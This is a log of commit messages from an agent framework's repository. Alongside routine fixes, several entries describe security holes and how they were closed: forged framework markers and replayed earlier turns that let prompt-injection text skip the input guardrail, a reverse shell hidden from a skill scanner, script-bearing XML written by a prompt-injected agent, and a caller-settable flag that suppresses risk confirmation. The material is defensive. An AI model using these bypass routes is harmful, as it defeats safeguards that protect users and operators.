51 Commits

Author	SHA1	Message	Date
Hyeonsang Cho	f7f4a022e6	fix(agents): remove provider tool-call blocks when guards strip calls (#5447) ... * fix(agents): remove provider tool-call blocks when guards strip calls Token-budget and loop-detection hard stops, subagent-limit truncation, and safety-finish-reason suppression removed calls from tool_calls and the raw additional_kwargs payload, but left the provider's own tool-call blocks in AIMessage.content. Provider adapters re-serialize those blocks: langchain_anthropic sends a tool_use block whose id is not in tool_calls, and the OpenAI Responses input builder sends every function_call block. ChatAnthropic stores any tool-calling response as a block list, so a guard firing on a Claude tool call always left a tool_use without a tool_result. A truncated subagent call failed the next model request of the same run; a hard stop was checkpointed under the same message id and failed every later turn of the thread. clone_ai_message_with_tool_calls now trims content tool-call blocks to the calls that remain on the message: tool_use and LangChain v1 tool_call/tool_call_chunk by id, Responses function_call and custom_tool_call by call_id (their id is the fc_ item id), Google GenAI function_call by id, and id-less blocks by name in order. Blocks for calls still on invalid_tool_calls stay, because DanglingToolCallMiddleware answers those calls with placeholder results. The token-budget and loop-detection hard stops now build their messages through the helper instead of their own copies, and ClarificationMiddleware drops its private filter, which matched Responses blocks by item id. * docs(changelog): reference #5447 in the orphaned tool-call block entry * fix(agents): skip id-matched calls in the id-less block budget The name budget for id-less content tool-call blocks counted every retained call, including calls whose own id-bearing block had already matched. In mixed-shape content, a retained call "a" with a function_call block carrying id "a" also let a same-named id-less block survive, leaving the unpaired block this helper exists to remove. Collect the retained ids that id-bearing blocks matched first, and build the name budget only from retained calls outside that set. Content with no id-bearing blocks keeps the full budget, so the Gemini path is unchanged.	2026-09-15 22:22:12 +08:00
Hyeonsang Cho	6469833886	fix(skills): close SkillScan bypasses in the skill review gate (#5431) ... * fix(skills): close SkillScan bypasses in the skill review gate The public skill review gate re-materialized a package snapshot into a temp directory for SkillScan, but copied only entries the reader had decoded as text and skipped every file under any evals/fixtures/ directory. Executable binaries and nested archives never reached the package rules, and a fixture-shaped path hid any script from the scan. Readers now keep binary bytes as content_base64, the analyzer writes every non-symlink file byte for byte, and only eval fixture SKILL.md samples stay exempt. Files are created exclusively, so a duplicate archive member or a case-folded name fails the scan closed instead of overwriting an earlier file. SkillScan itself skipped any file that was not NUL-free UTF-8. One Latin-1 byte in a comment hid a reverse shell from the review gate, and a NUL byte skipped static analysis at install. Code files that fail strict decoding now raise package-undecodable-script (HIGH) and are analyzed over a lossy decode, so CRITICAL matches keep blocking. "Code file" and "executable magic" were defined separately in the installer and SkillScan and had drifted: SkillScan missed 32-bit little-endian and fat Mach-O variants the installer blocks. Both rules now live in skills/package_files.py, shared by the installer, the export guard, and SkillScan. * docs(changelog): link the skill review gate fix to #5431 * fix(skills): fail closed on bytes-less snapshot entries and skip text rules for executables The review analyzer skipped any snapshot entry it could not turn into bytes. Readers only emit such entries for oversized files, and they also mark the snapshot truncated, but content_base64 is optional in the contract, so a reader regression or a hand-built snapshot would silently drop a file from SkillScan. An entry without bytes now fails the scan closed (not_assessed: skillscan) unless the snapshot is truncated, and a text entry without content no longer materializes as an empty file. A real executable under scripts/ is a code file, so SkillScan decoded it lossily and ran the text rules over its string tables. An OpenSSH binary produced a CRITICAL secret-private-key finding from the key-format banner it embeds. An undecodable file with executable magic still reports package-undecodable-script, and its CRITICAL package-executable-binary finding already blocks it, so it now skips the text rules. Decodable files keep full text analysis. --------- Co-authored-by: Willem Jiang <willem.jiang@gmail.com>	2026-09-14 21:23:58 +08:00
Hyeonsang Cho	ed986a10ef	fix(sandbox): report truncated remote glob and grep results (#5427) ... * fix(sandbox): report truncated remote glob and grep results BoxLite, Tenki, E2B, and OpenSandbox run find/grep in the sandbox, cap the raw output with `| head`, and then filter those lines in Python: ignored directories such as node_modules are dropped and grep's glob scope is applied. They reported truncated only when max_results matches survived the filter. When the capped lines were mostly filtered out, a search with real matches past the cap came back short or empty with truncated=False, and glob_tool/grep_tool rendered it as "No files matched" / "No matches found". With the default max_results=200 and 1,200 files under node_modules, glob("**/*.py") reported no matches for a workspace that has src/app.py. remote_search_command now lets one line past its limit through, and parse_remote_search_output(..., limit=) returns RemoteSearchOutput(text, truncated): the first `limit` lines and whether the extra line arrived. Exactly `limit` lines stays a complete result. Each provider passes the cap it already computed to both calls and returns that truncated from glob and grep when fewer than max_results results survive filtering. The glob and grep tools now describe an empty truncated result as incomplete instead of reporting no matches, which also covers AIO grep's forwarded truncated flag. Sandbox.glob/grep document truncated as "the matches may be incomplete". * docs(changelog): reference #5427 in the remote search truncation entry --------- Co-authored-by: Willem Jiang <willem.jiang@gmail.com>	2026-09-14 15:38:34 +08:00
Hyeonsang Cho	1b9667ea0e	fix(sandbox): mask every host path in a colon-joined list (#5418) ... * fix(sandbox): mask every host path in a colon-joined list Host-to-virtual output masking matched a host root and then consumed the path tail up to whitespace or shell punctuation, but not `:`. A `:`-joined list such as $PATH or $PYTHONPATH was therefore swallowed into the first match's tail, and scanning resumed after it, so every later entry under the same root reached the model as a raw host path. The regex matcher (process-stable skill roots) and the direct scanner (per-thread roots, LocalSandbox) shared the gap. Each redundant masking pass -- separator variants, the realpath spelling, the /mnt/user-data root mapping, LocalSandbox's own reverse resolution -- happened to recover one entry, which hid the leak for short lists: bash output leaked from the fourth entry, single-pass consumers from the third. The shared tail in path_patterns.py now ends at `:` in both matchers. `;`, the Windows list separator, already ended it. A `:` inside one path (grep -n output, a file name) only shortens the match; the remaining text is copied through verbatim. Shortening the match exposed a second leak. LocalSandbox reverse resolution realpaths the matched path and returned that realpath when no mount contained it, so a symlink inside a mount whose target lies outside every mount was shown as the target's host path. grep -n lines used to hide this only because the whole line resolved as one nonexistent file; whitespace-terminated output and LocalSandbox.glob results already leaked it on main. Reverse resolution now falls back to the link's own spelling, normalized so `mount/../x` does not pass, before giving up. A symlink into another mount still reports that mount's path. * docs(changelog): reference #5418 in the colon-joined path masking entry * docs(changelog): split the #5418 and #5419 entries fused by the merge Resolving the CHANGELOG conflict when main was merged in dropped the opener of the #5419 entry, so the BoxLite grep fix continued inside this PR's bullet in both CHANGELOG.md and CHANGELOG_zh.md. Restore it as its own bullet; the #5419 entry is byte-identical to main again. --------- Co-authored-by: Willem Jiang <willem.jiang@gmail.com>	2026-09-14 14:05:21 +08:00
Hyeonsang Cho	18b803fad9	fix(sandbox): scope BoxLite grep globs to the search root (#5419) ... * fix(sandbox): scope BoxLite grep globs to the search root BoxliteBox.grep omits grep --include for busybox portability and applies the glob in Python, but it kept only the glob's last path segment and matched it against each file's basename. A scoped pattern therefore lost its directory part: grep(glob="src/*.js") returned every .js file in the tree, including vendor/ and nested src/ subdirectories that glob() with the same pattern excludes. The glob now goes through path_matches against the path relative to the search root, with the file's basename when the root is a single file -- the same scope glob() uses and the one Tenki, E2B, OpenSandbox, AIO and LocalSandbox already enforce. Like those providers, an empty glob is now passed to path_matches instead of being treated as no filter. * docs(changelog): reference #5419 in the BoxLite grep glob scope entry	2026-09-14 12:26:12 +08:00
Hyeonsang Cho	bbced51022	fix(gateway): close two input-sanitization bypasses (#5375) ... * fix(gateway): reject forged framework-injection markers in run input `is_genuine_user_message` treats `hide_from_ui` and a human `name="summary"` as proof the framework authored a message, and `InputSanitizationMiddleware` skips those — escaping a real reminder's blocks would corrupt trusted context. Neither marker was server-owned, so an external caller could set either one and place a raw `<system-reminder>` outside the user-input boundary markers, which the lead-agent system prompt declares trusted internal framework data. The `hide_from_ui` variant is also filtered out of the thread UI, so the forgery was invisible where it landed. Both markers are now stripped from untrusted input, on the run path and on the thread-state mutation route that writes straight into a checkpoint. Framework injection happens inside the graph and never crosses this boundary, so nothing the framework does is affected, and `trusted_internal` callers (IM channels, the MCP task-notification launcher) keep writing hidden messages. HumanInputCard replies are the one legitimate external `hide_from_ui`: the frontend sends it alongside a `human_input_response` payload, so a message carrying a valid one keeps the marker. That buys no bypass — the predicate already classifies those as genuine, so they stay sanitized. The name check reuses the predicate's own `_SUMMARY_MESSAGE_NAME` rather than a fourth copy of the literal, and matches by `isinstance` exactly as the predicate does: `HumanMessageChunk` is a `HumanMessage` whose `type` is not `"human"`, so a type-based check would leave that subclass's marker settable. `name` is only reserved on human messages — on a ToolMessage it is the tool's own name. Three tests in test_gateway_services.py and test_message_provenance.py asserted that a caller-supplied `hide_from_ui` survives. That assumption was the bypass; they now pin the opposite, with a genuinely caller-owned key kept alongside to prove the stripper is surgical. * fix(agents): sanitize every genuine user message, not only the newest The input guardrail scanned backwards for the first genuine user message and returned, so only the newest turn was ever sanitized. The transformation is request-scoped (`wrap_model_call`, never written to state), so thread state keeps the raw text: once a newer turn arrived, the previous turn's payload was replayed to the model verbatim, outside the boundary markers the lead-agent prompt declares trusted framework data. The guardrail therefore held for exactly one model call. Reaching it needed no forged metadata and no crafted request body — type the payload in one turn, then send anything at all in the next. A single request carrying two user messages did it in one shot, since every message but the last was skipped. `_process_request` now walks the whole list and `_sanitize_message` owns the per-message work; every existing branch (the `original_user_content` split for upload turns, the multimodal rfind fallback, the metadata repair) is unchanged. Framework-injected messages stay excluded by `is_genuine_user_message`. Unexpected errors now fail open per message rather than per request. Iterating history widened the old blast radius: one unprocessable row would have dropped sanitization for the whole request, handing an attacker the newest turn by crafting an older one. `GraphBubbleUp` still propagates. Side effect worth noting: each turn's rendering is now stable across model calls. Previously a turn was wrapped on its own call and unwrapped on the next, changing the prompt prefix behind the newest turn and defeating prompt caching. test_only_processes_last_user_message pinned the old scope; it now pins that every turn is processed, and keeps driving the `wrap_model_call` entry point. * docs: record the message-metadata trust boundary and sanitization scope `agents/middlewares/AGENTS.md` owns the depth for InputSanitizationMiddleware and documented only the `original_user_content` half of its trust boundary. Left alone it would teach an agent that `hide_from_ui` is caller-owned and that the guardrail covers one turn — and the usual failure mode is an agent "restoring" the behaviour it believes was lost. The entry now carries both markers, the HumanInputCard exception, the whole-history scope, and the per-message fail-open rule. The note lives only there. The root and `backend/AGENTS.md` layers are orientation that points at the module guides owning the depth, and `backend/AGENTS.md` is inherited by every backend chain — prose added there inflates more than twenty of them, and `scripts/check_agent_guidance.py` shows the middlewares chain has about a kilobyte of room against its hard limit. CHANGELOG.md and CHANGELOG_zh.md record it under Security, continuing the existing prompt-injection lineage. * fix(gateway): mark caller-hidden messages instead of stripping the marker Review follow-up. Stripping a caller-supplied `hide_from_ui` closed the bypass but broke three frontend senders that use the marker purely to keep a context message out of the transcript: the quoted conversation context (`buildHiddenConversationQuoteMessage`), the sidecar context prompt (`buildHiddenSidecarContextMessage`), and the agent save command. None carries a `human_input_response`, so the HumanInputCard carve-out did not cover them, and nothing else hides them — `_is_branch_visible_message` and the frontend's `isHiddenFromUIMessage` both key solely on `hide_from_ui`, and no backend reads `conversation_quote_context` or `sidecar_context`. All three would have rendered as user-visible chat bubbles. The marker plays two roles and only one of them is a vulnerability. The security requirement is that a caller-supplied marker cannot skip sanitization, not that it cannot hide a message. So the roles are separated instead of the marker being removed: the Gateway keeps it and stamps the server-owned `UNTRUSTED_INPUT_KEY`, and the guardrail now asks `requires_input_sanitization` — the mark, else the genuine-user test. Hidden stays hidden; untrusted content is sanitized either way. The reserved `summary` name is handled the same way and no longer rewritten. Marking rather than removing is also the safer shape in general: `hide_from_ui` is read for presentation, journal persistence, memory filtering and IM outbound as well, and this boundary should not silently change any of them. `is_genuine_user_message` is deliberately left alone. `ToolReceiptMiddleware` uses it for turn-boundary detection, where a caller's hidden context message must keep counting as not user-authored; widening it there would move the ledger's turn window. `requires_input_sanitization` sits beside it in `message_utils` so the two questions can be compared. The three tests that asserted a caller-supplied `hide_from_ui` is removed now assert it survives and carries the mark — which restores the original intent of the two provenance cases, whose comment already read "caller-owned keys must survive". * docs(gateway): rewrite normalize_input's docstring around the mark Review follow-up. The paragraph still described the pre-4a3344f6 strip model and contradicted both the implementation and the middlewares AGENTS.md paragraph updated in that same commit: it called `hide_from_ui` server-owned, said carrying it skips sanitization entirely, and repeated the premise this branch disproved — that HumanInputCard replies are the only legitimate external use. It now describes what the code does: the markers stay caller-owned and are preserved because three frontend senders rely on `hide_from_ui` for hiding alone, the message is stamped with `untrusted_input` instead, and `requires_input_sanitization` sanitizes it anyway. `untrusted_input` joins the server-owned inventory in the preceding paragraph, which is what makes the stamp unforgeable and unclearable. The three surrounding docstrings now also say that these functions mark as well as strip; `_strip_external_message_metadata` had advertised only the removal, leaving a reader no way to find the stamp from the name. * fix(gateway): mark state writes whose message omits additional_kwargs Review follow-up. The state-route half of the fix missed the most natural request shape. `_strip_external_metadata_from_message_like` returned early when `additional_kwargs` was absent or not a dict — there was nothing to strip — and that early return also skipped the mark. A `POST /threads/{id}/state` body of `{"values": {"messages": [{"role": "user", "name": "summary", "content": "<system-reminder>…</system-reminder>"}]}}` therefore reached the checkpoint unmarked. The messages reducer's `convert_to_messages` then supplies `additional_kwargs={}`, so at model-call time `requires_input_sanitization` fell back to `is_genuine_user_message`, which a `summary` name fails, and the forged tag reached the model raw and outside the boundary markers. A missing or non-dict `additional_kwargs` is now treated as empty for both the strip and the mark. The identity return is kept for the case where nothing changes, so an ordinary key-omitted message does not gain an empty dict just by passing through. The run path was never affected: `normalize_input` coerces to BaseMessage first, which always carries the dict. Every existing state-write test supplied an `additional_kwargs` dict, which is why this shape slipped through; the regression now covers it at the route and end to end through the reducer into the guardrail. While checking the neighbouring shapes, `_skips_input_guardrail` keyed off key presence where `is_genuine_user_message` keys off truthiness, so `hide_from_ui: False` — already covered without a mark — would have been stamped. It now mirrors the predicate exactly, as its docstring claimed. * docs(middlewares): compress the sanitization note to fit the guidance chain main's growth left the middlewares AGENTS.md chain 84 bytes under its hard limit, and the fuller wording did not fit. The load-bearing facts stay — the markers are marked rather than stripped, and the scan covers every turn — since those are the two an agent editing this middleware could otherwise get wrong. The full model lives in the normalize_input, _mark_untrusted_framework_markers and requires_input_sanitization docstrings. --------- Co-authored-by: Willem Jiang <willem.jiang@gmail.com>	2026-09-14 09:54:42 +08:00
Hyeonsang Cho	1dd48d14d2	fix(models): reuse the Claude Code OAuth token read from a file descriptor (#5411) ... * fix(models): reuse the Claude Code OAuth token read from a file descriptor ClaudeChatModel accepts a Claude Code OAuth token through CLAUDE_CODE_OAUTH_TOKEN_FILE_DESCRIPTOR, but that handoff can be drained only once: a pipe returns EOF after the first read and a file descriptor keeps its advanced offset. _read_secret_from_file_descriptor read it again on every call and kept nothing. Every ClaudeChatModel instance loads credentials in model_post_init, and create_chat_model builds fresh instances per run, so with a descriptor-only handoff the first model authenticated and every model after it -- including the title model of the very first run -- had no credential. The Anthropic SDK then raised "Could not resolve authentication method" before sending a request. A secret read from a descriptor is now kept for the life of the process, keyed by (env_var, fd), so a different descriptor is still read fresh. The read happens under a lock so two threads building their first model concurrently cannot race one of them to EOF. Empty reads and OSError are not cached and behave as before; lookup order, config keys, and log messages are unchanged. * docs(changelog): reference #5411 in the Claude Code OAuth descriptor fix entry * test(models): pin that a closed descriptor handoff keeps its token Review follow-up on #5411: the descriptor secret cache is keyed on the fd number, which the OS recycles. Folding os.fstat identity into the key would break the property the cache exists for -- once the handoff fd is closed after the first read, fstat raises EBADF and every later model would lose the token again -- and it would still miss a regular file rewritten in place, which keeps its st_dev/st_ino. The handoff is fixed at process start, so keep the number as the key and state the invariant instead: a closed handoff keeps serving its token, a secret placed on a recycled number is not re-read, and anything handing over a new secret in-process must clear the cache. A new test pins the closed-handoff behavior; an fstat-fingerprinted key fails exactly that test.	2026-09-14 09:23:12 +08:00
Hyeonsang Cho	2814bd5d49	fix(models): stop reasoning_effort from reaching the constructor twice (#5403) ... * fix(models): stop reasoning_effort from reaching the constructor twice The regular lead-agent build forwards reasoning_effort to create_chat_model even when neither the request nor the custom agent chose one. The factory spread that kwarg next to the profile settings, so any profile that also yielded reasoning_effort -- a top-level value, when_thinking_enabled, when_thinking_disabled, or the minimal effort the extra_body.thinking disable path injects -- made the constructor raise "got multiple values for keyword argument 'reasoning_effort'", and the lead agent could not be built for that model. #2017 moved the factory-injected value out of kwargs but left the caller-supplied one. The requested effort now leaves kwargs once and layers like model_overrides: a non-None value replaces the profile value, None keeps it, and the thinking transforms applied afterwards still decide the final value. Codex keeps resolving the requested value itself, so a level it does not accept and a profile without effort support still fall back to medium. * docs(changelog): reference #5403 in the reasoning_effort collision fix entry	2026-09-13 23:14:07 +08:00
Hyeonsang Cho	6f81daefff	fix(runtime): resolve omitted run owners before idempotent reuse (#5401) ... * fix(runtime): resolve omitted run owners before idempotent reuse HTTP run admissions do not pass a user_id. The SQL run store stamps the request user from the contextvar onto the row, but RunManager kept None on its process-local RunRecord, so the two disagreed about who owns the run. A keyed retry that reached a peer worker, or the owning worker after cleanup() released its local record, hydrated the stamped row, compared its owner with None, and raised "Run idempotency key resolved to a different thread or user", which start_run surfaced as a 500. MemoryRunStore stored None on both sides and never hit the check. The same mismatch hid HTTP runs from owner-scoped history reads, which filter local records by the current user, and skipped the worker's MCP background_tasks projection, which only runs for records with an owner. create() and _admit_thread_operation() now resolve an omitted owner from the current user before building the record, and keep None when no user is in context instead of falling back to the default bucket, so the local record and every store agree on the owner. HTTP runs now receive the background_tasks projection, so the replay golden's values frames gain that key. * docs(changelog): reference #5401 in the keyed retry owner fix entry * test(runtime): close the SQL engine when peer-reuse test setup fails Review follow-up on #5401: the sql case of the two-worker start_run test initialized the engine above the try whose finally calls close_engine(). init_engine() assigns the module-global engine and session factory before bootstrapping the schema, so a failure there skipped the teardown and left a stale engine for later tests in the same process. Store setup and the RunManager workers now live inside the try, so the teardown runs whether setup or the test body fails.	2026-09-13 20:28:32 +08:00
Hyeonsang Cho	28a81452ce	fix(runtime): stop idempotent reuse from blocking the thread on a peer worker (#5393) ... * fix(runtime): stop idempotent reuse from blocking the thread on a peer worker When an idempotent run admission lands on a worker that does not own the run, RunManager hydrates the stored row and returns it as the reused record. It also registered that row in the worker's local run map, but only the owning worker's task lifecycle finalizes and cleans up local records, so the copy kept its admission-time pending/running status for the life of the process. On that worker every later reject-strategy admission for the thread returned 409 until a restart, run reads kept reporting the stale status, orphan reconciliation skipped the run as locally live if the owner crashed, and a cancel took the local-owner path and marked the owner's still-running row interrupted. Return the hydrated row as a detached store-only handle instead of registering it. A local record for the key is already returned before the store insert, so the removed lookup of an existing local record was unreachable. get(), cancel() and reconciliation now read the durable row on the peer, matching the documented non-owner contract. * test(runtime): pin keyed retries of a terminal reused run on the SQL store Review follow-up on #5393: the post-cleanup release relied on a keyed retry resolving through the terminal row's idempotency conflict, but only MemoryRunStore pinned that path, and no test retried on the owner after its local record was cleaned up. The SQL repository test now retries the key on the peer and on the owner once the run is terminal and cleaned up, asserting both get the same run back as a store-only reused handle before the keyless follow-up is admitted.	2026-09-13 18:16:22 +08:00
cybersentia	a22c6169b3	feat(skills): support OpenAI-compatible image generation (#5389) ... * feat(skills): support OpenAI-compatible image generation * fix(skills): address image provider review feedback	2026-09-13 18:07:58 +08:00
Nan Gao	cf556fa9d4	feat(agents): elide superseded write_file payloads from model-bound requests (#5374) ... * feat(agents): elide superseded write_file payloads from model-bound requests Step 2 of #5328. After a successful write_file the file on disk is the source of truth, and the read-before-write gate forces a read_file before the next modification of that path, so once a later successful read or write of the same path exists the historical `content` argument is redundant with it. Long report-writing runs (append-in-chunks) therefore carried every section twice, once as the write argument and once as the following read output, until summarization compacted the whole turn. - ToolOutputBudgetMiddleware's model-call hooks now replace such superseded content with a short deterministic placeholder pointing at read_file, in the model-bound request only: state["messages"], checkpoints, receipts, loop detection, and the run journal keep the original arguments, and nothing is externalized to disk. The newest `keep_recent_writes` successful writes (default 1) always stay visible; str_replace payloads are never touched; a same-turn read never supersedes (parallel calls run in no fixed order); only results stamped deerflow_tool_meta.status == "success" count, so failed, gate-blocked, partial, or unstamped writes are never candidates. - New `tool_output.elide_superseded_writes` (default on), `tool_output.superseded_write_min_chars` (default 2000), and `tool_output.keep_recent_writes` (default 1); config_version 41 -> 42 in config.example.yaml and the Helm chart. - The per-occurrence call/result pairing the gate introduced in #5329 moves into the shared `tool_call_args.pair_tool_call_results` helper so both policies pair the same way; the gate now uses it. * fix(agents): scope tool-call result pairing to the issuing turn Review finding on #5374 (P2): pair_tool_call_results consumed results from a history-wide per-id queue, so an interrupted write_file with no result whose tool-call id a later turn reused inherited that later call's success. With the default elision the unconfirmed draft was then replaced by a placeholder claiming the write succeeded, and the gate's blocked-call pairing had the mirror-image hole. Pair results the way DanglingToolCallMiddleware does: walk in document order, open each AIMessage's calls, and let a ToolMessage answer only a still-open call of the most recent preceding AIMessage. A result never answers a call from an earlier turn, so the interrupted call stays unanswered (never a candidate, never labeled blocked) and stray or duplicate results are ignored. Regressions cover the helper, the superseded-write policy, and the gate. * fix(agents): never rewrite tool-call ids duplicated within one AIMessage Review finding on #5374 (P2): the policies select calls per occurrence, but every provider surface is addressed by tool-call id, so when a malformed provider payload repeats an id inside one assistant turn the rewriter could only replace all of its occurrences at once. A failed write_file sibling then took on the superseded successful call's path and elided content and was presented as a success; the gate's blocked-call elision had the mirror-image hole (a successful sibling rewritten into the blocked call). rewrite_messages_tool_call_args now never offers an id that repeats within its message to the selector and leaves those calls untouched on every surface. Both policies are covered by the shared helper; regressions cover the helper, the superseded-write policy, and the gate. * fix(agents): skip unhashable tool-call ids in the duplicate-id guard Review finding on #5374 (round 3): _duplicated_call_ids fed every id into a Counter before the string guard, so a list or dict id from a malformed provider payload raised TypeError out of wrap_model_call and failed the whole model call whenever the history also held a rewrite candidate. The pre-PR loop and pair_tool_call_results skip such ids; only this helper regressed. Count non-empty string ids only, and pin it with regressions for the helper, the superseded-write policy, and the gate. * docs(agents): keep middleware guidance within size limit --------- Co-authored-by: Willem Jiang <willem.jiang@gmail.com>	2026-09-13 18:04:51 +08:00
Hyeonsang Cho	bc4a33aba7	fix(skills): stop persisting resolved secrets when toggling skills (#5357) ... Toggling a skill wrote resolved secrets into extensions_config.json. The Gateway skill toggle and DeerFlowClient.update_skill loaded the file with ExtensionsConfig.from_file(), which replaces every "$VAR" string with the environment value (and an unset variable with ""), then serialized that model back through to_file_dict(). A "$GITHUB_TOKEN" reference was persisted as the plaintext token, and an unset reference was erased for good. DeerFlowClient.update_mcp_config had the same flaw for every key other than mcpServers. Every writer now does a raw read-modify-write, the way the MCP router already did: read_raw_extensions_config reads the on-disk JSON, set_raw_skill_enabled changes only the target entry, and validate_raw_extensions_config checks the candidate the way the runtime will load it before the atomic write. When the file does not exist yet, the Gateway seeds it with the cached skill states only, never the resolved cached model. The MCP router's raw loader and candidate validation delegate to the same helpers, so the rule lives in one place, and to_file_dict() is removed so the unsafe serialization has no entry point left. Co-authored-by: Willem Jiang <willem.jiang@gmail.com>	2026-09-12 11:24:46 +08:00
Hyeonsang Cho	806a5bd427	fix(gateway): serve XML artifacts as attachments to block same-origin script (#5353) ... * fix(gateway): serve XML artifacts as attachments to block same-origin script GET /api/threads/{id}/artifacts/{path} forced only text/html, application/xhtml+xml and image/svg+xml to download. Every other XML document was served inline from the application origin: `.xml` guesses to text/xml or application/xml depending on the host's mime.types, and both fell through to the inline text branches. Browsers render any XML MIME type as a document and run an XHTML-namespaced <script> inside it, so a report.xml written by a prompt-injected agent and opened from a chat link executed with the viewer's session: the HttpOnly access_token rides same-origin fetches, and the double-submit csrf_token cookie is JS-readable, so state-changing calls are reachable as well. Treat HTML plus every WHATWG XML MIME type (text/xml, application/xml, any +xml subtype) and text/xsl, which Blink also renders as XML, as active content. A single helper owns the rule for both the regular-file and the .skill-archive-member branches. The artifacts panel already previews .xml as code through a ranged fetch, so preview and editing keep working against the attachment response. * docs(frontend): name XML among the artifacts the Gateway downloads Review follow-up on #5353: resolveArtifactOpenURL's comment still named only HTML/SVG as the active content the Gateway serves as a download. XML documents now join that bucket, so the frontend note matches the Gateway rule. Comment-only; no behavior change.	2026-09-12 09:15:51 +08:00
Nan Gao	3f0b6ecc81	feat(agents): elide blocked write payloads from model-bound requests (#5329) ... * feat(agents): elide blocked write payloads from model-bound requests A write_file / str_replace call rejected by the read-before-write gate never runs, yet its payload (up to 80 KB for a non-append write, unbounded for append) stayed verbatim in every later model request: nothing in the chain rewrites AIMessage tool-call arguments, and ToolOutputBudgetMiddleware only budgets ToolMessage output. The gate demands a re-read plus a fresh call, so the model re-emits the content anyway and the original is pure dead weight. - ReadBeforeWriteMiddleware stamps `deerflow_write_block` on the blocked ToolMessage and, in wrap_model_call, replaces the paired call's payload fields (content / old_str / new_str) with a short deterministic placeholder in the model-bound request only. state["messages"], receipts, loop detection, and the run journal keep the original arguments; nothing is externalized to disk, since a file reference to content the model must re-derive after reading the target would only invite bypassing the gate. - New `tool_call_args` helper rewrites every provider surface together (structured tool_calls, raw additional_kwargs.tool_calls, tool_use content blocks, tool_call_chunks) so strict providers never see them disagree; the gate only supplies the policy (which calls, what placeholder). - `read_before_write.elide_blocked_payloads` (default on) and `read_before_write.elide_min_chars` (default 2000) configure it; the runtime builder passes the config through and the middleware declares it via release_policy_parameters. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> * docs(agents): condense middleware guide entry 11 to fit the guidance budget The agent-guidance CI check failed: the effective AGENTS.md chain for agents/middlewares was 99673 bytes against a 98304-byte hard limit. The chain already sat at 98459 on main, so the ReadBeforeWrite entry could not grow. Rewrite entry 11 so it states the same facts (gate, lock scope, fail-open, authorization scope, blocked-payload elision, shared tool_call_args helper) in 1229 bytes instead of 2640; the chain is now 98262 bytes. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> * fix(config): bump config_version for the read_before_write elision keys Review follow-ups on #5329: - `read_before_write.elide_blocked_payloads` / `elide_min_chars` are new user-settable YAML keys, i.e. a config schema change, so bump `config_version` 40 -> 41 in config.example.yaml; without it an existing config.yaml gets no outdated-config warning and `make config-upgrade` has nothing to signal. - Say in the `elide_min_chars` description (and the example comment) that the threshold and the placeholder's size figure are Python character counts, not tokens: the same value spans roughly 3-4x in real context cost between ASCII and CJK text. - The builder wiring test now asserts only the wired `elide_min_chars` value instead of the whole `ReadBeforeWriteConfig` dump, so future knobs do not have to edit an unrelated test. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> * chore(helm): bump chart config_version to 41 validate-chart's config_version drift check failed after config.example.yaml moved to 41 in ef9ee267. Bare bump of the chart's embedded `config:` block and the README example; the chart does not mirror the read_before_write section, so no field changes are needed. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> * fix(agents): rewrite Responses and v1 content-block arguments too Review finding on #5329 (P2): the content rewriter only handled Anthropic `tool_use` blocks. With `use_responses_api=true` and `output_version='responses/v1'`, AIMessage.content carries `function_call` blocks whose `arguments` still hold the full write payload, and langchain_openai's Responses input builder emits that block instead of the rewritten structured call whose `call_id` it already carries. Standard `v1` `tool_call` blocks likewise keep `extras.arguments`, which the v1->Responses translator prefers over the structured args. So the blocked payload was still sent on every later Responses API request. `tool_call_args` now rewrites every content dialect that carries its own copy of the arguments: Anthropic `tool_use` (input, drop partial_json), Responses `function_call` (arguments, matched by call_id, `fc_...` item id and status preserved), and v1 `tool_call` / `tool_call_chunk` (args plus `extras.arguments`). Tests assert against the real adapter serializers: `_construct_responses_api_input` for responses/v1, v1, and v0 messages, `_convert_message_to_dict` for chat completions, and Anthropic `_format_messages` for native and v1 content, plus an end-to-end probe through the gate's wrap_model_call. * fix(agents): pair blocked writes per call occurrence and defeat Responses chaining Two review findings on #5329: - Tool-call ids may repeat across assistant turns (DanglingToolCallMiddleware pairs them with per-id queues). The gate matched blocked results against a history-wide id set, so a successful write sharing an id with a later (or earlier) blocked one also lost its payload and was labelled as blocked. `_blocked_call_occurrences` now pairs ToolMessages with call occurrences the same FIFO-per-id way and the selector keys on (message, call id). - With `use_previous_response_id`, the OpenAI adapter sends only the messages after the last AIMessage carrying a `resp_` response id and lets the server rebuild the rest from its stored copy, which still holds the original arguments and cannot be edited; every later response chains back to it. `rewrite_messages_tool_call_args` now drops every `resp_` id from the model-bound copy whenever it rewrote anything, so the adapter replays the full rewritten history (the `use_previous_response_id=False` request shape). OpenAI bills chained input tokens as input either way, so replay costs no more; the state keeps its ids. Tests cover success-before-block and block-before-success histories through the Chat Completions serializer, and chaining through `ChatOpenAI._get_request_payload` with `use_previous_response_id=True`: unrewritten history chains and omits the call, rewritten history is replayed with the placeholder and no `previous_response_id`. --------- Co-authored-by: Claude Fable 5.1 <noreply@anthropic.com>	2026-09-11 19:05:48 +08:00
Hyeonsang Cho	556975f284	fix(gateway): gate github_token and disable_clarification on internal callers (#5338) ... * fix(gateway): gate github_token and disable_clarification on internal callers `non_interactive` is honored only for internally-authenticated callers because it strips `ask_clarification` from the lead-agent toolset. The two sibling run-context keys reproduced that effect without the gate. `merge_run_context_overrides` forwarded `_CONTEXT_RUNTIME_ONLY_KEYS` regardless of `internal`, and `strip_internal_context_keys` scrubbed only `_CONTEXT_INTERNAL_CALLER_KEYS` -- so any session or PAT caller could set `disable_clarification` through `body.context`, or through the free-form `body.config` that `build_run_config` copies verbatim. That is not a milder flag than `non_interactive`: ClarificationMiddleware answers every clarification -- `risk_confirmation` included -- with "proceed without asking" instead of interrupting, and SandboxMiddleware reads the two keys as the same non-interactive signal. `github_token` rode the same path into `runtime.context`, where the bash tool exports it as `GH_TOKEN`/`GITHUB_TOKEN`, and a copy smuggled through `body.config['configurable']` reached the checkpoint store the context-only rule exists to avoid. Both keys are produced server-side by the channel run policies, which reach the Gateway over the internally-authenticated request channel, so gate them the same way: forward them only when `internal=True`, and scrub the union `_INTERNAL_ONLY_CONTEXT_KEYS` from both config sections for every other caller. Destination stays an orthogonal axis -- `_CONTEXT_RUNTIME_ONLY_KEYS` still land in `context` alone, never in checkpoint-persisted `configurable`. Regression coverage in tests/test_gateway_services.py pins both smuggling surfaces and replays the real start_run assembly order for a session caller and for an internal one, so the GitHub channel keeps carrying its minted token. * 